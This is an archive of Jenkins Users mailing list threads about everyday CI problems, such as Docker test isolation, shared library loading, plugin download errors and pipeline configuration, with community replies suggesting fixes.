> java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
> >   at java.lang.Thread.run(Thread.java:748)
> >   Suppressed: hudson.remoting.Channel$CallSiteStackTrace: Remote
> call to pdinc-dte-jenkins-
> > centos7-x86_64
> >   at
> hudson.remoting.Channel.attachCallSiteStackTrace(Channel.java:1741)
> >   at
> hudson.remoting.UserRequest$ExceptionResponse.retrieve(UserRequest.java:356)
> >   at hudson.remoting.Channel.call(Channel.java:955)
> >   at hudson.FilePath.act(FilePath.java:1072)
> >   at hudson.FilePath.act(FilePath.java:1061)
> >   at
> >
> hudson.maven.MavenModuleSetBuild$MavenModuleSetBuildExecution.parsePoms(MavenModuleSetBuild.java:987)
> >   at
> >
> hudson.maven.MavenModuleSetBuild$MavenModuleSetBuildExecution.doRun(MavenModuleSetBuild.java:691)
> >   at
> hudson.model.AbstractBuild$AbstractBuildExecution.run(AbstractBuild.java:504)
> >   at hudson.model.Run.execute(Run.java:1815)
> >   at
> hudson.maven.MavenModuleSetBuild.run(MavenModuleSetBuild.java:543)
> >   at
> hudson.model.ResourceController.execute(ResourceController.java:97)
> >   at hudson.model.Executor.run(Executor.java:429)
> > Caused by: hudson.remoting.ProxyException:
> org.apache.maven.project.ProjectBuildingException: Some
> > problems were encountered while processing the POMs:
> > [ERROR] Malformed POM /var/lib/jenkins/workspace/xxx/pom.xml: Unknown
> attribute
> > 'child.scm.url.inherit.append.path' for tag 'scm' (position: START_TAG
> seen ...\n\n   > child.scm.url.inherit.append.path="false">... @39:50)  @
> /var/lib/jenkins/workspace/xxx/pom.xml, line
> > 39, column 50
> >
> >   at
> org.apache.maven.project.DefaultProjectBuilder.build(DefaultProjectBuilder.java:383)
> >   at hudson.maven.MavenEmbedder.buildProjects(MavenEmbedder.java:370)
> >   at hudson.maven.MavenEmbedder.readProjects(MavenEmbedder.java:340)
> >   at
> hudson.maven.MavenModuleSetBuild$PomParser.invoke(MavenModuleSetBuild.java:1329)
> >   ... 10 more
> >
> > --
> > Jason Pyeron  | Architect
> > PD Inc|
> > 10 w 24th St  |
> > Baltimore, MD |
> >
> > .mil: jason.j.pyeron@mail.mil
> > .com: jpye...@pdinc.us
> > tel : 202-741-9397
> >
> >
> > --
> > You received this message because you are subscribed to the Google
> Groups "Jenkins Users" group.
> > To unsubscribe from this group and stop r

Re: How to isolate docker container tests with Jenkins?

2019-09-06 Thread Jan Monterrubio
Mind clarifying a bit here:

By isolated , do you mean something like:

in a docker agent (jnlp pod/whatever) {

check out your project
run your build
- the build launches containers
}


We use docker for isolation, so well usually have something like
maven/gradle build our service/app, create an image, launch a container
from that image, and then a test project (as part of the build) hits
localhost:SomePort, where some port is randomly assigned externally but
mapped to the containers 8080.

Maybe it would help if you shared some details on how you build all this?
We are able to build both on our machines and our Jenkins with the same
setup.

On Wed, Sep 4, 2019 at 22:38 Stephen Person 
wrote:

> For the life of me I cannot come up with an efficient solution to running
> tests against a docker container in an isolated environment with Jenkins.
> Emphasis on 'isolated environment' so many builds/tests can run in parallel
> without interference. I have tried the docker-in-docker approach but this
> caused many complications with networking and other stuff which compromised
> the functionality of my containers.
>
> Some things worth mentioning...
> 1. I use docker-compose to build and start my container and all dependent
> containers (like activemq, postgres, etc)
> 2. Limited to using Host Network for all containers (cant use
> ip-forwarding)
>
> As you can tell, I think about the container as the final artifact I'm
> delivering to production, which is why it's important to run tests against
> the container instead of inside it. Any and all thought is greatly
> appreciated.
>
> --
> You received this message because you are subscribed to the Google Groups
> "Jenkins Users" group.
> To unsubscribe from this group and stop receiving emails from it, send an
> email to jenkinsci-users+unsubscr...@googlegroups.com.
> To view this discussion on the web visit
> https://groups.google.com/d/msgid/jenkinsci-users/405a49ff-6f85-4083-92ad-f8c18a34ab5f%40googlegroups.com
> 
> .
>

-- 
You received this message because you are subscribed to the Google Groups 
"Jenkins Users" group.
To unsubscribe from this group and stop receiving emails from it, send an email 
to jenkinsci-users+unsubscr...@googlegroups.com.
To view this discussion on the web visit 
https://groups.google.com/d/msgid/jenkinsci-users/CADgiF9KtrdZLpjfWBbi3d%3D_O0t9kKyQOdZr9Hnz7AnFiWnEVHQ%40mail.gmail.com.


Re: I want deploy C\C++ projects in to jenkins and maveen, please advice guide and help me how to process this deployment

2019-09-06 Thread Jan Monterrubio
Can you currently build these projects locally (outside of Jenkins) with
maven? We do something similar and the c++ projects get built on specific
windows vms.

On Wed, Sep 4, 2019 at 22:04 Jeevan Podduturi 
wrote:

> I want deploy C\C++ projects in to jenkins and maveen, please advice guide
> and help me how to process this deployment
>
> --
> You received this message because you are subscribed to the Google Groups
> "Jenkins Users" group.
> To unsubscribe from this group and stop receiving emails from it, send an
> email to jenkinsci-users+unsubscr...@googlegroups.com.
> To view this discussion on the web visit
> https://groups.google.com/d/msgid/jenkinsci-users/be5a0c28-45e5-44e3-9ea4-a1b7061e149e%40googlegroups.com
> 
> .
>

-- 
You received this message because you are subscribed to the Google Groups 
"Jenkins Users" group.
To unsubscribe from this group and stop receiving emails from it, send an email 
to jenkinsci-users+unsubscr...@googlegroups.com.
To view this discussion on the web visit 
https://groups.google.com/d/msgid/jenkinsci-users/CADgiF9JHfTtv_pJv-yS4Vq2J-jwdhVG7-fF%2BpURtNkdeO0U2FA%40mail.gmail.com.


Re: Issue with jenkins pipeline

2019-09-06 Thread Jan Monterrubio
I usually see this happen when I use a Pipeline item (of type
FlowDefiniton) instead of a MultiBranchPipeline (workflowjob)

On Thu, Sep 5, 2019 at 00:43 Toni Van de Voorde  wrote:

> Hi Salvatore,
>
> The pipeline seems correct, but how did you configure jenkins to run this?
> Seems to me it doesn't find this specific configuration?!
>
> Cheers
>
> On Thu, 5 Sep 2019 at 00:06, Salvatore Esposito <
> salvatore.esposit...@gmail.com> wrote:
>
>> Hi. I create this pipeline using docker container based on jenkins image:
>>
>> pipeline {
>> agent any
>>
>> stages {
>> stage('Build') {
>> steps {
>> echo 'Building..'
>> }
>> }
>> stage('Test') {
>> steps {
>> echo 'Testing..'
>> }
>> }
>> stage('Deploy') {
>> steps {
>> echo 'Deploying'
>> }
>> }
>> }
>> }
>>
>> But when I ran it I got back this:
>>
>> Stage View This Pipeline has run successfully, but does not define any
>> stages. Please use the stage step to define some stages in this Pipeline
>>
>> And there is no echoed valus in console.
>>
>> What happens with this?
>>
>>
>> --
>> You received this message because you are subscribed to the Google Groups
>> "Jenkins Users" group.
>> To unsubscribe from this group and stop receiving emails from it, send an
>> email to jenkinsci-users+unsubscr...@googlegroups.com.
>> To view this discussion on the web visit
>> https://groups.google.com/d/msgid/jenkinsci-users/af693584-c9ed-4724-8b85-28ece61afcd6%40googlegroups.com
>> 
>> .
>>
> --
> You received this message because you are subscribed to the Google Groups
> "Jenkins Users" group.
> To unsubscribe from this group and stop receiving emails from it, send an
> email to jenkinsci-users+unsubscr...@googlegroups.com.
> To view this discussion on the web visit
> https://groups.google.com/d/msgid/jenkinsci-users/CAGRKivw7k%3DnpuuNkwMSj38YjHomDZVN%3Du-%3DSHgs5oAYnJeJMGA%40mail.gmail.com
> 
> .
>

-- 
You received this message because you are subscribed to the Google Groups 
"Jenkins Users" group.
To unsubscribe from this group and stop receiving emails from it, send an email 
to jenkinsci-users+unsubscr...@googlegroups.com.
To view this discussion on the web visit 
https://groups.google.com/d/msgid/jenkinsci-users/CADgiF9%2BefVA7UvfiKhc9g%2BVdPHmpwbObnX3GYt16D3kczsSvrg%40mail.gmail.com.


Re: How to isolate docker container tests with Jenkins?

2019-09-06 Thread Jan Monterrubio
This might give you some idea on how to configure this. This is something
that we sort of do:

All of this is in a gradle multi-module project.

java-application
  -> jar gets dropped into an image
mqimage
  -> docker builds this too
test-project
  -> uses the gradle docker-compose plugin to orchestrate both mq and the
java service
  -> has src/test/java hit the service at a port exposed on 8080
(internally)

So, everything can build on my machine with gradle and it is isolated. Then
jenkins just has to call gradle and everything still works.

With maven you could do the same thing with a mutli-module reactor

On Fri, Sep 6, 2019 at 4:36 PM Stephen Person 
wrote:

> Thanks for the reply. I'm building a camel spring standalone with
> spring-boot, built with maven, in a minimal base image. I have a junit test
> suite that is basically - drop file in directory and listen to activemq
> topic. I define the appropriate container volumes in docker-compose.yml. My
> current pipeline for jenkins goes like...
> 1. mvn clean package -DskipTests
> 2. docker build -t  .
> 3. mvn verify
> 4. docker push 
>
> This works great for one-build-at-a-time but running multiple instances in
> parallel causes chaos for my tests, so my solution was to limit the amount
> of executors for Jenkins to 1 which just isn't practical when I have many
> git branches and projects that rely on my Jenkins node.
>
> On Friday, September 6, 2019 at 3:04:40 PM UTC-4, Jan Monterrubio wrote:
>>
>> Mind clarifying a bit here:
>>
>> By isolated , do you mean something like:
>>
>> in a docker agent (jnlp pod/whatever) {
>>
>> check out your project
>> run your build
>> - the build launches containers
>> }
>>
>>
>> We use docker for isolation, so well usually have something like
>> maven/gradle build our service/app, create an image, launch a container
>> from that image, and then a test project (as part of the build) hits
>> localhost:SomePort, where some port is randomly assigned externally but
>> mapped to the containers 8080.
>>
>> Maybe it would help if you shared some details on how you build all this?
>> We are able to build both on our machines and our Jenkins with the same
>> setup.
>>
>> On Wed, Sep 4, 2019 at 22:38 Stephen Person 
>> wrote:
>>
>>> For the life of me I cannot come up with an efficient solution to
>>> running tests against a docker container in an isolated environment with
>>> Jenkins. Emphasis on 'isolated environment' so many builds/tests can run in
>>> parallel without interference. I have tried the docker-in-docker approach
>>> but this caused many complications with networking and other stuff which
>>> compromised the functionality of my containers.
>>>
>>> Some things worth mentioning...
>>> 1. I use docker-compose to build and start my container and all
>>> dependent containers (like activemq, postgres, etc)
>>> 2. Limited to using Host Network for all containers (cant use
>>> ip-forwarding)
>>>
>>> As you can tell, I think about the container as the final artifact I'm
>>> delivering to production, which is why it's important to run tests against
>>> the container instead of inside it. Any and all thought is greatly
>>> appreciated.
>>>
>>> --
>>> You received this message because you are subscribed to the Google
>>> Groups "Jenkins Users" group.
>>> To unsubscribe from this group and stop receiving emails from it, send
>>> an email to jenkins...@googlegroups.com.
>>> To view this discussion on the web visit
>>> https://groups.google.com/d/msgid/jenkinsci-users/405a49ff-6f85-4083-92ad-f8c18a34ab5f%40googlegroups.com
>>> <https://groups.google.com/d/msgid/jenkinsci-users/405a49ff-6f85-4083-92ad-f8c18a34ab5f%40googlegroups.com?utm_medium=email&utm_source=footer>
>>> .
>>>
>> --
> You received this message because you are subscribed to the Google Groups
> "Jenkins Users" group.
> To unsubscribe from this group and stop receiving emails from it, send an
> email to jenkinsci-users+unsubscr...@googlegroups.com.
> To view this discussion on the web visit
> https://groups.google.com/d/msgid/jenkinsci-users/c8764e83-2c19-438d-84e0-29ac32da0862%40googlegroups.com
> <https://groups.google.com/d/msgid/jenkinsci-users/c8764e83-2c19-438d-84e0-29ac32da0862%40googlegroups.com?utm_medium=email&utm_source=footer>
> .
>

-- 
You received this message because you are subscribed to the Google Groups 
"Jenkins Users" group.
To unsubscribe from this group and stop receiving emails from it, send an email 
to jenkinsci-users+unsubscr...@googlegroups.com.
To view this discussion on the web visit 
https://groups.google.com/d/msgid/jenkinsci-users/CADgiF9L1KSYxUJfVpt%3DkxoS%2BD%2Bu9LWivQ3p_tr8dX1uw2ib%2Bog%40mail.gmail.com.


Re: Gradle Tool Failed Download

2019-09-23 Thread Jan Monterrubio
I’ve always relied on projects supplying the gradle wrapper instead... that
might be a good alternative if you can’t upgrade the JRE

On Mon, Sep 23, 2019 at 05:37 Daniel Beck  wrote:

>
>
> On Mon, Sep 23, 2019 at 2:28 PM Sverre Moe  wrote:
>
>> ERROR: Failed to download 
>> https://services.gradle.org/distributions/gradle-5.6.2-bin.zip from agent; 
>> will retry from master
>>
>> sun.security.provider.certpath.SunCertPathBuilderException: unable to find 
>> valid certification path to requested target
>>
>>
>>
>> Which makes me believe that the Gradle tool does not use Jenkins Proxy
>> settings, while Maven tools does use it.
>>
>
> The error means it's an SSL issue. If you're on an old JRE, update it.
>
> --
> You received this message because you are subscribed to the Google Groups
> "Jenkins Users" group.
> To unsubscribe from this group and stop receiving emails from it, send an
> email to jenkinsci-users+unsubscr...@googlegroups.com.
> To view this discussion on the web visit
> https://groups.google.com/d/msgid/jenkinsci-users/CAMo7PtLJW%2BeMQ-509sB%2Bv%2BdAtz_%3DDudWMsiE-eCdZYfduAPcyA%40mail.gmail.com
> 
> .
>

-- 
You received this message because you are subscribed to the Google Groups 
"Jenkins Users" group.
To unsubscribe from this group and stop receiving emails from it, send an email 
to jenkinsci-users+unsubscr...@googlegroups.com.
To view this discussion on the web visit 
https://groups.google.com/d/msgid/jenkinsci-users/CADgiF9LYWdDQ3a-EMkxL0wXcMZn_xdBT9oBgzqiS75xxjG_z7w%40mail.gmail.com.


Re: Triggering multi Pipeline Job after other multi job is executed

2019-10-03 Thread Jan Monterrubio
I’ve done something similar with the build step, as a downstream job.

https://jenkins.io/doc/pipeline/steps/pipeline-build-step/


On Thu, Oct 3, 2019 at 05:46 Ramesh R  wrote:

> Hi All,
>
> Please help me with this Problem.
>
> I want to RUN or Build Project B after Project A is Build or Stable.
>
> In Freestyle project we have option to Build after other projects are
> built in Build Triggers.
>
> In Multi pipeline job, under Branch View configuration we have same
> options, But no Save or Apply button.
>
> Is there any way to do it? or add Triggers in Jenkinsfile.
>
> Kindly let me know.
>
> Thanks,
> Ramesh
>
> --
> You received this message because you are subscribed to the Google Groups
> "Jenkins Users" group.
> To unsubscribe from this group and stop receiving emails from it, send an
> email to jenkinsci-users+unsubscr...@googlegroups.com.
> To view this discussion on the web visit
> https://groups.google.com/d/msgid/jenkinsci-users/8a76afab-4771-476e-b548-4aba72958ba9%40googlegroups.com
> 
> .
>

-- 
You received this message because you are subscribed to the Google Groups 
"Jenkins Users" group.
To unsubscribe from this group and stop receiving emails from it, send an email 
to jenkinsci-users+unsubscr...@googlegroups.com.
To view this discussion on the web visit 
https://groups.google.com/d/msgid/jenkinsci-users/CADgiF9JL6CgrO%2BfOjThjK_hXD_0REQ03JTfBo%3D1bkCFKBqv5KA%40mail.gmail.com.


Re: Trying to get Github events like "commit comments and pushes" to build the jenkins pipeline Job

2019-10-28 Thread Jan Monterrubio
https://github.com/jenkinsci/github-pr-comment-build-plugin

Does that plugin do what you want?

On Thu, Oct 24, 2019 at 08:17 kishore babu  wrote:

> Based on the commit comment, I would like to trigger the Pipeline Job.
> Firstly unable to get the commit trigger to build the Pipeline Job.
> Can someone suggest the best practice?
>
> Currently, im using Github enterprise server and Local hosted Jenkins
> server.
> I'm able to get the pull request using Github pull request builder plugin.
>
> --
> You received this message because you are subscribed to the Google Groups
> "Jenkins Users" group.
> To unsubscribe from this group and stop receiving emails from it, send an
> email to jenkinsci-users+unsubscr...@googlegroups.com.
> To view this discussion on the web visit
> https://groups.google.com/d/msgid/jenkinsci-users/f5ea9fc1-f7a1-4238-9abb-fe70dd4c9061%40googlegroups.com
> 
> .
>

-- 
You received this message because you are subscribed to the Google Groups 
"Jenkins Users" group.
To unsubscribe from this group and stop receiving emails from it, send an email 
to jenkinsci-users+unsubscr...@googlegroups.com.
To view this discussion on the web visit 
https://groups.google.com/d/msgid/jenkinsci-users/CADgiF9Ljh4-W35TdEFG_7u4Uc1NP4oxHz%2B8j0xxJfQBcmAV7Wg%40mail.gmail.com.


Re: Timestamp for the build

2020-01-07 Thread Jan Monterrubio
Maybe this:
https://github.com/jenkinsci/timestamper-plugin/blob/master/README.md#customization
?

On Tue, Jan 7, 2020 at 10:38 Veera Mani  wrote:

> Hi,
>
> Is there a way to  set the  timestamp( of the server) for all the Jenkins
> users  who  login in various  time zones?
>
> My Jenkins  is  running on the server in EST timings   and having the "
> Timestamper "   plugin  installed.
>
> When a build is  executed the timestamp  prints with the Browser's desktop
> timings and not  in the server's time .  How to  set the Jenkins to
> forcefully set all the jenkins user   console to have the build timestamp
> to be in EST ?
>
> Thanks
>
> --
> You received this message because you are subscribed to the Google Groups
> "Jenkins Users" group.
> To unsubscribe from this group and stop receiving emails from it, send an
> email to jenkinsci-users+unsubscr...@googlegroups.com.
> To view this discussion on the web visit
> https://groups.google.com/d/msgid/jenkinsci-users/7b3ce1c9-f165-4055-bb7f-676c28683052%40googlegroups.com
> 
> .
>

-- 
You received this message because you are subscribed to the Google Groups 
"Jenkins Users" group.
To unsubscribe from this group and stop receiving emails from it, send an email 
to jenkinsci-users+unsubscr...@googlegroups.com.
To view this discussion on the web visit 
https://groups.google.com/d/msgid/jenkinsci-users/CADgiF9J4t6zFiTPAv22ZJ6N1080Wec2TL_QQR_Lqp5L-Tv4DtQ%40mail.gmail.com.


Re: Jenkins build status always shows success

2020-01-11 Thread Jan Monterrubio
Does it mark unsuccessful if you have:
exit 1

As the last line of your script? Can you each out the result of your
angular command? It might be pronting errors but exiting with a status of 0
which is considered successful.



On Sat, Jan 11, 2020 at 04:59 Vijay Gongle  wrote:

> Correct. It’s an Angular project and running bash shell script of Jenkins
> build.
>
> Thanks,
> Vijay
> Sent from my iPhone
>
> On Jan 10, 2020, at 11:28 PM, RAJENDRA PRASAD <
> rajendra.penuma...@gmail.com> wrote:
>
> 
>
> Could you please elaborate on what kind of project you are running?
> Running from Bash Shell of Jenkins build step or batch file?
> i
>
>
>
> *Rajendra Prasad Reddy Penumalli*
>
>
> On Sat, 11 Jan 2020 at 02:53, Vijay Gongle  wrote:
>
>> Hello,
>> This is something weird I started seeing from past 2 days. No matter what
>> or how many errors you have in console output, it shows the results as
>> “success” and green and never marks the status “failed” at the end.
>>
>> This job has been working fine for months.
>> I created a new job with similar configuration and script, it still
>> behaves the same way.
>>
>> I’m sure someone can help me with it.
>>
>> Thanks in advance!
>> Vijay
>>
>> --
>> You received this message because you are subscribed to the Google Groups
>> "Jenkins Users" group.
>> To unsubscribe from this group and stop receiving emails from it, send an
>> email to jenkinsci-users+unsubscr...@googlegroups.com.
>> To view this discussion on the web visit
>> https://groups.google.com/d/msgid/jenkinsci-users/297b1845-300b-403a-b6a1-75df69a69c8a%40googlegroups.com
>> .
>>
> --
> You received this message because you are subscribed to the Google Groups
> "Jenkins Users" group.
> To unsubscribe from this group and stop receiving emails from it, send an
> email to jenkinsci-users+unsubscr...@googlegroups.com.
> To view this discussion on the web visit
> https://groups.google.com/d/msgid/jenkinsci-users/CAMrg02QwFJ_qpxs_M8La1ayFja4-7Pv4%2BFfDQ8OKa3FBhw27%2BQ%40mail.gmail.com
> 
> .
>
> --
> You received this message because you are subscribed to the Google Groups
> "Jenkins Users" group.
> To unsubscribe from this group and stop receiving emails from it, send an
> email to jenkinsci-users+unsubscr...@googlegroups.com.
> To view this discussion on the web visit
> https://groups.google.com/d/msgid/jenkinsci-users/996DC916-80B4-479E-BCB7-FBEE5CAD900B%40gmail.com
> 
> .
>

-- 
You received this message because you are subscribed to the Google Groups 
"Jenkins Users" group.
To unsubscribe from this group and stop receiving emails from it, send an email 
to jenkinsci-users+unsubscr...@googlegroups.com.
To view this discussion on the web visit 
https://groups.google.com/d/msgid/jenkinsci-users/CADgiF9KVUMS8LkdFE%3D9tQYSfXxf%3DyZpeHp7SkWGmHAyvRRyitA%40mail.gmail.com.


Re: Jenkins @Library load dynamic branch from variable

2020-01-15 Thread Jan Monterrubio
https://jenkins.io/doc/book/pipeline/shared-libraries/

Check the loading dynamic libraries portion. It might do what you want.

On Wed, Jan 15, 2020 at 15:12 Chris Carpenter 
wrote:

> Is there a way to dynamically load the library from dynamic branch
> variable like this:
>
> @Library("jenkins-pipeline@${env.BRANCH_NAME}") _
>
> In a multi branch pipeline you have access to the current branch name in
> the environment variable `BRANCH_NAME`. I'd like to be able to test changes
> to my pipeline before committing them to master branch potentially breaking
> builds.
>
> I get the following warning in the console output:
>
> WorkflowScript: @Library value ‘jenkins-pipeline@$env.BRANCH_NAME’ was not a 
> constant; did you mean to use the ‘library’ step instead?
>
>
>
> --
> You received this message because you are subscribed to the Google Groups
> "Jenkins Users" group.
> To unsubscribe from this group and stop receiving emails from it, send an
> email to jenkinsci-users+unsubscr...@googlegroups.com.
> To view this discussion on the web visit
> https://groups.google.com/d/msgid/jenkinsci-users/ca65b535-4225-41ef-9497-ac69a10098c2%40googlegroups.com
> 
> .
>

-- 
You received this message because you are subscribed to the Google Groups 
"Jenkins Users" group.
To unsubscribe from this group and stop receiving emails from it, send an email 
to jenkinsci-users+unsubscr...@googlegroups.com.
To view this discussion on the web visit 
https://groups.google.com/d/msgid/jenkinsci-users/CADgiF9KA3CF_jfGc95b_gscAceu9172WwZL_TcS9vnOyDfj-ww%40mail.gmail.com.


Re: Jenkins @Library load dynamic branch from variable

2020-01-16 Thread Jan Monterrubio
When testing library changes, I usually make a new folder and specify the
branch I am testing there. I’ve never tried to do the dynamic environment
variable.

Is your end goal to integration test your library before merging it to
master? We do something similar by standing up a local Jenkins and using
docker based agents.

On Thu, Jan 16, 2020 at 07:01 Chris Carpenter 
wrote:

> It seems with this you lose some functionality with code in the `src`
> directory.
>
> Using classes from the src/ directory is also possible, but trickier.
>> Whereas the @Library annotation prepares the “classpath” of the script
>> prior to compilation, by the time a library step is encountered the script
>> has already been compiled. Therefore you cannot import or otherwise
>> “statically” refer to types from the library.
>>
>
> Is there a way to specify the branch dynamically in the global library scm
> settings? I see in the legacy git loader There is reference to env
> variables in the `Branches to build` section.
>
> ${ENV_VARIABLE}
>>
>> It is also possible to use environment variables. In this case the
>>> variables are evaluated and the result is used as described above.
>>
>> E.g. ${TREEISH}, refs/tags/${TAGNAME},...
>>
>>
> Is this able to load the branch based on the current multibranch pipeline
> env? I didn't see any variable reference in the modern scm git config.
>
> On Wednesday, January 15, 2020 at 11:59:29 PM UTC-5, Jan Monterrubio wrote:
>>
>> https://jenkins.io/doc/book/pipeline/shared-libraries/
>>
>> Check the loading dynamic libraries portion. It might do what you want.
>>
>> On Wed, Jan 15, 2020 at 15:12 Chris Carpenter 
>> wrote:
>>
>>> Is there a way to dynamically load the library from dynamic branch
>>> variable like this:
>>>
>>> @Library("jenkins-pipeline@${env.BRANCH_NAME}") _
>>>
>>> In a multi branch pipeline you have access to the current branch name in
>>> the environment variable `BRANCH_NAME`. I'd like to be able to test changes
>>> to my pipeline before committing them to master branch potentially breaking
>>> builds.
>>>
>>> I get the following warning in the console output:
>>>
>>> WorkflowScript: @Library value ‘jenkins-pipeline@$env.BRANCH_NAME’ was not 
>>> a constant; did you mean to use the ‘library’ step instead?
>>>
>>>
>>>
>>> --
>>> You received this message because you are subscribed to the Google
>>> Groups "Jenkins Users" group.
>>> To unsubscribe from this group and stop receiving emails from it, send
>>> an email to jenkins...@googlegroups.com.
>>> To view this discussion on the web visit
>>> https://groups.google.com/d/msgid/jenkinsci-users/ca65b535-4225-41ef-9497-ac69a10098c2%40googlegroups.com
>>> <https://groups.google.com/d/msgid/jenkinsci-users/ca65b535-4225-41ef-9497-ac69a10098c2%40googlegroups.com?utm_medium=email&utm_source=footer>
>>> .
>>>
>> --
> You received this message because you are subscribed to the Google Groups
> "Jenkins Users" group.
> To unsubscribe from this group and stop receiving emails from it, send an
> email to jenkinsci-users+unsubscr...@googlegroups.com.
> To view this discussion on the web visit
> https://groups.google.com/d/msgid/jenkinsci-users/7c19684f-ca4a-4bcb-90f5-9cb7aca16233%40googlegroups.com
> <https://groups.google.com/d/msgid/jenkinsci-users/7c19684f-ca4a-4bcb-90f5-9cb7aca16233%40googlegroups.com?utm_medium=email&utm_source=footer>
> .
>

-- 
You received this message because you are subscribed to the Google Groups 
"Jenkins Users" group.
To unsubscribe from this group and stop receiving emails from it, send an email 
to jenkinsci-users+unsubscr...@googlegroups.com.
To view this discussion on the web visit 
https://groups.google.com/d/msgid/jenkinsci-users/CADgiF9LKaYktERDQZeQn2ZTAdjMosevwHn9sXk-BjUA6%2B%2B0m4Q%40mail.gmail.com.


Re: Plugin Installs Failing

2020-02-03 Thread Jan Monterrubio
Could it be an http vs https problem? We had some of those with maven
before.

On Mon, Feb 3, 2020 at 16:05 Steve Rogers  wrote:

> I'll give that a try.  I believe /opt/tomcat/.jenkins was the default.  I
> then just linked that to /home/jenkins.  Our old system where I am getting
> the same error is a windows install, so it seems more likely something in
> our network.
>
> Thanks for your help.
>
> On Mon, Feb 3, 2020 at 3:32 PM Mark Waite 
> wrote:
>
>> That's surprising.  Could you check the permissions from inside Jenkins
>> by creating a freestyle job that runs on master and attempts to create and
>> delete a file named /opt/tomcat/.jenkins/plugins/script-security.jpi.tmp
>> ?
>>
>> For me, the directory name '/opt/tomcat/.jenkins/' is surprising. Most
>> Jenkins installations in servers do not use a '.jenkins' directory to store
>> the Jenkins home directory. However, I've never hosted Jenkins under the
>> /opt/tomcat/ directory. That may be the typical directory name for that
>> configuration.
>>
>> On Mon, Feb 3, 2020 at 4:09 PM Steve Rogers 
>> wrote:
>>
>>> Yes, plenty of space and permissions are correct.  I should have added
>>> in the original that I can install manually by downloading the plugin file
>>> directly and then uploading into jenkins.
>>>
>>> On Mon, Feb 3, 2020 at 2:50 PM Mark Waite 
>>> wrote:
>>>
 It may be worth checking the directory permissions to confirm that the
 Jenkins user can still write to that directory.  You may also want to check
 that the disc has available free space and available inodes to allow new
 files to be created.

 On Mon, Feb 3, 2020 at 3:42 PM Steve Rogers 
 wrote:

> Any plugin that I try to download results in the following error:
>
> java.net.SocketException: Connection reset
>   at java.net.SocketInputStream.read(SocketInputStream.java:210)
>   at java.net.SocketInputStream.read(SocketInputStream.java:141)
>   at java.io.BufferedInputStream.fill(BufferedInputStream.java:246)
>   at java.io.BufferedInputStream.read1(BufferedInputStream.java:286)
>   at java.io.BufferedInputStream.read(BufferedInputStream.java:345)
>   at sun.net.www.MeteredStream.read(MeteredStream.java:134)
>   at java.io.FilterInputStream.read(FilterInputStream.java:133)
>   at 
> sun.net.www.protocol.http.HttpURLConnection$HttpInputStream.read(HttpURLConnection.java:3454)
>   at 
> sun.net.www.protocol.http.HttpURLConnection$HttpInputStream.read(HttpURLConnection.java:3447)
>   at 
> org.apache.commons.io.input.ProxyInputStream.read(ProxyInputStream.java:78)
>   at 
> hudson.model.UpdateCenter$UpdateCenterConfiguration.download(UpdateCenter.java:1245)
> Caused: java.io.IOException: Failed to load 
> http://updates.jenkins-ci.org/download/plugins/script-security/1.69/script-security.hpi
>  to /opt/tomcat/.jenkins/plugins/script-security.jpi.tmp
>   at 
> hudson.model.UpdateCenter$UpdateCenterConfiguration.download(UpdateCenter.java:1250)
> Caused: java.io.IOException: Failed to download from 
> http://updates.jenkins-ci.org/download/plugins/script-security/1.69/script-security.hpi
>  (redirected to: 
> http://ftp-nyc.osuosl.org/pub/jenkins/plugins/script-security/1.69/script-security.hpi)
>   at 
> hudson.model.UpdateCenter$UpdateCenterConfiguration.download(UpdateCenter.java:1284)
>   at hudson.model.UpdateCenter$DownloadJob._run(UpdateCenter.java:1832)
>   at 
> hudson.model.UpdateCenter$InstallationJob._run(UpdateCenter.java:2110)
>   at hudson.model.UpdateCenter$DownloadJob.run(UpdateCenter.java:1806)
>   at 
> java.util.concurrent.Executors$RunnableAdapter.call(Executors.java:511)
>   at java.util.concurrent.FutureTask.run(FutureTask.java:266)
>   at 
> hudson.remoting.AtmostOneThreadExecutor$Worker.run(AtmostOneThreadExecutor.java:111)
>   at java.lang.Thread.run(Thread.java:748)
>
>
> i am able to retrieve the resource manually via WGET.  This is a brand 
> new install of jenkins in tomcat on CENTOS7.  Out curiosity I looked at 
> our existing jenkins install and am getting a similar error there.  I 
> have checked and rechecked that the Update Site URL is correct.
>
>
> Thanks
>
> --
> You received this message because you are subscribed to the Google
> Groups "Jenkins Users" group.
> To unsubscribe from this group and stop receiving emails from it, send
> an email to jenkinsci-users+unsubscr...@googlegroups.com.
> To view this discussion on the web visit
> https://groups.google.com/d/msgid/jenkinsci-users/0e51b53c-440a-4b60-a5a1-2c60a406c1ab%40googlegroups.com
> 
> .
>
 --
 You received this message because you are subscribed to the Google
 Groups "Jenkins U

Re: Shared library function cannot call other shared library function in separate file if called function uses "writeFile"

2020-02-08 Thread Jan Monterrubio
Yeah you’re probably getting namespace collisions. This happened to me
trying to make a logging function called ‘error’ as well.

On Sat, Feb 8, 2020 at 10:43 Reinhold Füreder  wrote:

> Hi David,
>
> I think that could be related to
> https://issues.jenkins-ci.org/browse/JENKINS-50736, because there is a
> pipeline basic step called 'writeFile' (see
> https://jenkins.io/doc/pipeline/steps/workflow-basic-steps/#writefile-write-file-to-workspace),
> but maybe Jesse Glick or Andrew Bayer can shed some more light on this
> issue...
>
> HTH Reinhold
>
> --
> *Von:* jenkinsci-users@googlegroups.com 
> im Auftrag von David Karr 
> *Gesendet:* Freitag, 7. Februar 2020 21:51
> *An:* Jenkins Users 
> *Betreff:* Shared library function cannot call other shared library
> function in separate file if called function uses "writeFile"
>
> The statement I make in the subject doesn't make sense, but I don't know
> how else to describe it.
>
> I'm working on a set of builds using scripted pipelines.  Our Jenkinsfiles
> are very short, all of the build logic is in the shared library.  In the
> "main" shared library function, I'm trying to call another function defined
> in another "vars" class.  We have many of these already.  In this called
> function, I have a call to the "writeFile" pipeline step to create a
> temporary file used by a shell script called immediately after that.  This
> is the only place anywhere in our builds that we call "writeFile".
>
> When I run the build, I get this very unhelpful message:
>
> Jenkins Job Failed due to Exception : 
> org.codehaus.groovy.control.ErrorCollector
>
>
> There is literally no other information provided, except for the log lines
> that come before it.  I found that an echo statement that is called before
> this suspect function is called is emitted in the log.  An echo statement
> as the first line of the "call()" method of the function being called is
> NOT emitted in the log. Somehow the act of calling the function makes it
> die, with no explanation.
>
> So, I tried a workaround.  In the calling script file, I added a "def" at
> the end of the file, to define an "inline function" with almost the same
> name as the "vars" function name.  I copied the entire body of the "call()"
> method of the vars function into that inline function.  I replaced the call
> to the vars function with the call to the inline function.  It worked on
> the first try.
>
> Any ideas what might cause this?
